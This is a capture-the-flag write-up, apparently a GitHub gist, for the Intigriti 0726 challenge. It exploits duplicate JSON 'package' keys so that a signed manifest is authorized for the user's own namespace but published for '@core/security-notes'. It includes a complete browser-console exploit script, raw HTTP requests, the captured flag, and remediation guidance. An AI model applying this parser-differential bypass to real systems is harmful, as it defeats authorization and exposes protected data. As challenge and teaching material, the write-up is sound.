Skip to content

Instantly share code, notes, and snippets.

@zeinitsu03
Last active August 5, 2026 11:33
Show Gist options
  • Select an option

  • Save zeinitsu03/43b9796142453d20ebb96b7caeedd3b8 to your computer and use it in GitHub Desktop.

Select an option

Save zeinitsu03/43b9796142453d20ebb96b7caeedd3b8 to your computer and use it in GitHub Desktop.
Writeup for my Intigriti_0726_ctf
# Intigriti 0726 CTF: Authorization Bypass via Duplicate JSON Keys
## Overview
The challenge application, **Canonically Yours**, generates read-only compatibility reports from signed package manifests.
Each registered user receives a private namespace. The server is expected to approve manifests only when the requested package belongs to that namespace.
I found an interpretation conflict between the manifest approval and publication stages. A JSON manifest containing two top-level `package` members is authorized using the first member but published using the second member.
This allows a normal account to obtain a valid signed approval for its own namespace and reuse that approval to publish the protected `@core/security-notes` report.
The exploit does not modify the manifest after signing and does not involve signature forgery, hash collisions, self-XSS, or victim interaction.
## Recon
### Authenticated workspace
After registration, the application assigns the user a generated namespace and displays three private packages:
- `compat-sample`
- `hello-world`
- `legacy-adapter`
### Client-side manifest workflow
The Manifest Studio creates a JSON document with the following structure:
```json
{
"package": {
"scope": "<USER_NAMESPACE>",
"name": "hello-world",
"version": "1.0.0"
},
"metadata": {
"description": "Compatibility check",
"visibility": "private"
},
"operation": "preflight"
}
```
The client then performs this workflow:
1. Serialize the manifest as JSON.
2. Encode the UTF-8 bytes as base64.
3. Submit `manifest_b64` to `POST /api/manifests/sign`.
4. Receive a short-lived approval containing:
- `approval_id`
- `manifest_sha256`
- `nonce`
- `expires_at`
- `signature`
5. Submit the same `manifest_b64` and approval fields to `POST /api/publications`.
6. Read the generated report from `GET /api/publications/<publication_id>`.
The important security requirement is:
```text
package authorized during signing == package consumed during publication
```
### Discovering the protected package
The Observatory archive contains three entries sharing record ID `CR-17`:
| Archive section | Record | Relevant value |
|---|---|---|
| Transfer notices | `CR-17` | Platform-maintained scope: `core` |
| Component index | `CR-17` | Component: `security-notes` |
| Compatibility ledgers | `CR-17` | Recorded version: `1.0.0` |
Correlating these entries reveals:
```text
Scope: core
Package: security-notes
Version: 1.0.0
Full target: @core/security-notes@1.0.0
```
## Vulnerability analysis
### Expected authorization behavior
A direct request for the protected package is correctly rejected:
```json
{
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": {
"description": "Compatibility check",
"visibility": "private"
},
"operation": "preflight"
}
```
The signing endpoint responds:
```http
HTTP/1.1 400 Bad Request
Content-Type: application/json
{"error":"Manifest could not be approved."}
```
This negative control confirms that direct access to `@core/security-notes` is blocked.
### Duplicate-key differential
RFC 8259 recommends that JSON object member names be unique. When duplicate names are accepted, parsers may reject the document, keep the first value, keep the last value, or expose all values.
I tested whether the approval and publication stages handled duplicate members consistently.
The exploitable manifest contains two top-level `package` members:
```json
{
"package": {
"scope": "<MY_NAMESPACE>",
"name": "hello-world",
"version": "1.0.0"
},
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": {
"description": "Compatibility check",
"visibility": "private"
},
"operation": "preflight"
}
```
The test results were:
| Manifest variation | Signing result | Publication result |
|---|---:|---|
| User-owned package only | `201 Created` | User-owned report |
| Protected package only | `400 Bad Request` | No publication |
| Protected package first, user package second | `400 Bad Request` | No publication |
| User package first, protected package second | `201 Created` | `@core/security-notes` |
| Duplicate nested `scope` members | `400 Bad Request` | No publication |
The order-dependent result shows that the same document is interpreted differently across the authorization boundary:
```text
Identical manifest bytes
|
+-- Approval stage:
| first package -> user namespace -> authorization passes
|
`-- Publication stage:
last package -> @core/security-notes -> protected report is created
```
### Why the signature does not prevent the bypass
The signing response contains a SHA-256 digest of the decoded manifest:
```text
manifest_sha256 = SHA-256(base64_decode(manifest_b64))
```
The exact same `manifest_b64` is submitted during publication. Therefore:
- The manifest is not changed after approval.
- The digest remains valid.
- The approval signature remains valid.
- No collision or cryptographic weakness is required.
The signature guarantees the integrity of the bytes, but the authorization decision is based on the meaning assigned to those bytes.
If the signer authorizes one logical package and the publication service consumes another, a valid signature is attached to an ambiguous security object.
## Proof of concept
### Prerequisites
- A normal self-registered account
- An authenticated session on the challenge page
- Current Google Chrome or another current Chromium browser
Open:
```text
https://challenge-0726.intigriti.io/challenge.html
```
### Browser payload
Open **Developer Tools > Console** in the challenge-page context and run:
```javascript
(async () => {
const parse = async response => {
const data = await response.json();
if (!response.ok) {
throw new Error(
`${response.status}: ${data.error || "Request failed"}`
);
}
return data;
};
// Retrieve the current account namespace and CSRF token.
const me = await parse(
await fetch("/api/me", {
credentials: "include"
})
);
// The first package is authorized; the second package is protected.
const manifest =
`{"package":{"scope":"${me.user.namespace}","name":"hello-world","version":"1.0.0"},` +
`"package":{"scope":"core","name":"security-notes","version":"1.0.0"},` +
`"metadata":{"description":"Compatibility check","visibility":"private"},` +
`"operation":"preflight"}`;
const bytes = new TextEncoder().encode(manifest);
let binary = "";
for (const byte of bytes) {
binary += String.fromCharCode(byte);
}
const manifest_b64 = btoa(binary);
const post = async (path, body) =>
parse(
await fetch(`/api${path}`, {
method: "POST",
credentials: "include",
headers: {
"content-type": "application/json",
"x-csrf-token": me.csrf_token
},
body: JSON.stringify(body)
})
);
// Obtain an approval for the ambiguous manifest.
const approval = await post("/manifests/sign", {
manifest_b64
});
// Reuse the exact same bytes and the returned approval.
const publication = await post("/publications", {
manifest_b64,
...approval
});
// Retrieve the resulting protected report.
const report = await parse(
await fetch(
`/api/publications/${publication.publication_id}`,
{ credentials: "include" }
)
);
console.log(report);
alert(report.report.release_notes);
})().catch(console.error);
```
## API-level result
### Step 1: Signed approval
The payload sends:
```http
POST /api/manifests/sign HTTP/1.1
Host: challenge-0726.intigriti.io
Content-Type: application/json
X-CSRF-Token: <CSRF_TOKEN>
Cookie: cy_session=<SESSION>
{
"manifest_b64": "<BASE64_DUPLICATE_KEY_MANIFEST>"
}
```
The server accepts it:
```http
HTTP/1.1 201 Created
Content-Type: application/json
```
```json
{
"approval_id": "<UUID>",
"manifest_sha256": "<SHA256>",
"nonce": "<NONCE>",
"expires_at": "<UNIX_TIMESTAMP>",
"signature": "<SIGNATURE>"
}
```
### Step 2: Publication
The exact same encoded manifest and approval fields are submitted:
```http
POST /api/publications HTTP/1.1
Host: challenge-0726.intigriti.io
Content-Type: application/json
X-CSRF-Token: <CSRF_TOKEN>
Cookie: cy_session=<SESSION>
{
"manifest_b64": "<SAME_BASE64_DUPLICATE_KEY_MANIFEST>",
"approval_id": "<UUID>",
"manifest_sha256": "<SHA256>",
"nonce": "<NONCE>",
"expires_at": "<UNIX_TIMESTAMP>",
"signature": "<SIGNATURE>"
}
```
The response returns a publication:
```http
HTTP/1.1 201 Created
Content-Type: application/json
{
"publication_id": "<PUBLICATION_UUID>",
"status": "ready"
}
```
### Step 3: Protected report
Requesting the publication:
```http
GET /api/publications/<PUBLICATION_UUID> HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: cy_session=<SESSION>
```
returns:
```json
{
"target": "@core/security-notes",
"version": "1.0.0",
"status": "ready",
"report": {
"target": "@core/security-notes",
"compatibility": "Read-only preflight completed.",
"release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}",
"latest_version": "1.0.0",
"package_exists": true
}
}
```
The report can also be opened from the attacker's own **Publication history**:
## Flag
```text
INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}
```
## Alternative reproduction with Burp Suite
The Console payload is only a convenient request client. The vulnerability is server-side and can be reproduced through an intercepting proxy:
1. Create a normal manifest in Manifest Studio.
2. Intercept `POST /api/manifests/sign`.
3. Replace `manifest_b64` with the base64 encoding of the duplicate-key manifest.
4. Forward the request and record the returned approval.
5. Click **Run preflight**.
6. Intercept `POST /api/publications`.
7. Replace `manifest_b64` with the exact same encoded duplicate-key manifest.
8. Forward the request.
9. Open the returned publication ID.
The bytes submitted to both endpoints must be identical. If only the signing request is changed, the publication request fails because its manifest digest does not match the signed digest.
The same sequence can be reproduced with any HTTP client by preserving the authenticated session cookie and supplying the CSRF token returned by `/api/me`.
## Impact
A self-registered user can bypass the namespace authorization boundary and retrieve a report belonging to a platform-maintained package.
The demonstrated impact is limited to unauthorized disclosure of the protected `@core/security-notes` report. I did not modify registry data, enumerate unrelated packages, access another user's account, or affect service availability.
The broader security issue is the loss of trust in the approval mechanism: a valid signature no longer proves that the package used during publication is the package that passed authorization.
## Remediation
### Immediate mitigation
Reject manifests containing duplicate JSON member names before schema validation, authorization, hashing, or signing.
The duplicate check should be recursive and should cover security-sensitive members such as:
- `package`
- `scope`
- `name`
- `version`
- `operation`
### Durable fix
Use one strict parsing and authorization pipeline:
1. Base64-decode the manifest once.
2. Require valid UTF-8.
3. Parse with a duplicate-key-aware JSON parser.
4. Reject duplicate members recursively.
5. Validate the final parsed object.
6. Authorize the exact parsed package.
7. Canonically serialize the validated object.
8. Hash and sign the canonical representation.
9. Store the authorized target server-side with the approval.
10. During publication, use the stored target instead of reparsing attacker-controlled JSON.
The approval should be bound to:
```text
user_id
namespace
package.scope
package.name
package.version
operation
manifest_digest
nonce
expires_at
```
Regression tests should include:
- Duplicate top-level `package` members in both orders
- Duplicate nested members
- Identical and conflicting duplicate values
- Unicode escape and normalization variants
- Changed manifests between signing and publication
- Expired approvals
- Approvals submitted by another user
- Direct requests for platform-maintained namespaces
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment